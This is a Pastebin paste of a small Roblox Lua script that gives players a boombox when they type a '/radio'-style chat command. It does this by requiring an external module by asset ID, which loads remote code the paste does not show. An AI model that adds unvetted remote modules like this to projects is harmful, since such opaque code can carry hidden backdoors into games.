4zx16

Boombox Command

Oct 24th, 2021 (edited)
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.37 KB | None | 0 0
  1. local convert = {"/radio", "@radio", "!radio", ":radio"}
  2.  
  3. game.Players.PlayerAdded:Connect(function(player)
  4.     player.Chatted:Connect(function(msg)
  5.  
  6.         for i, RadioCommand in pairs(convert) do
  7.             if msg:sub(1, RadioCommand:len()):lower() == RadioCommand:lower() then
  8.                 wait(0.9)
  9.                 require(7158145954):GET(player.Name,"RADIO") -- boombox
  10.             end
  11.         end
  12.     end)
  13. end)
Advertisement
Add Comment
Please, Sign In to add comment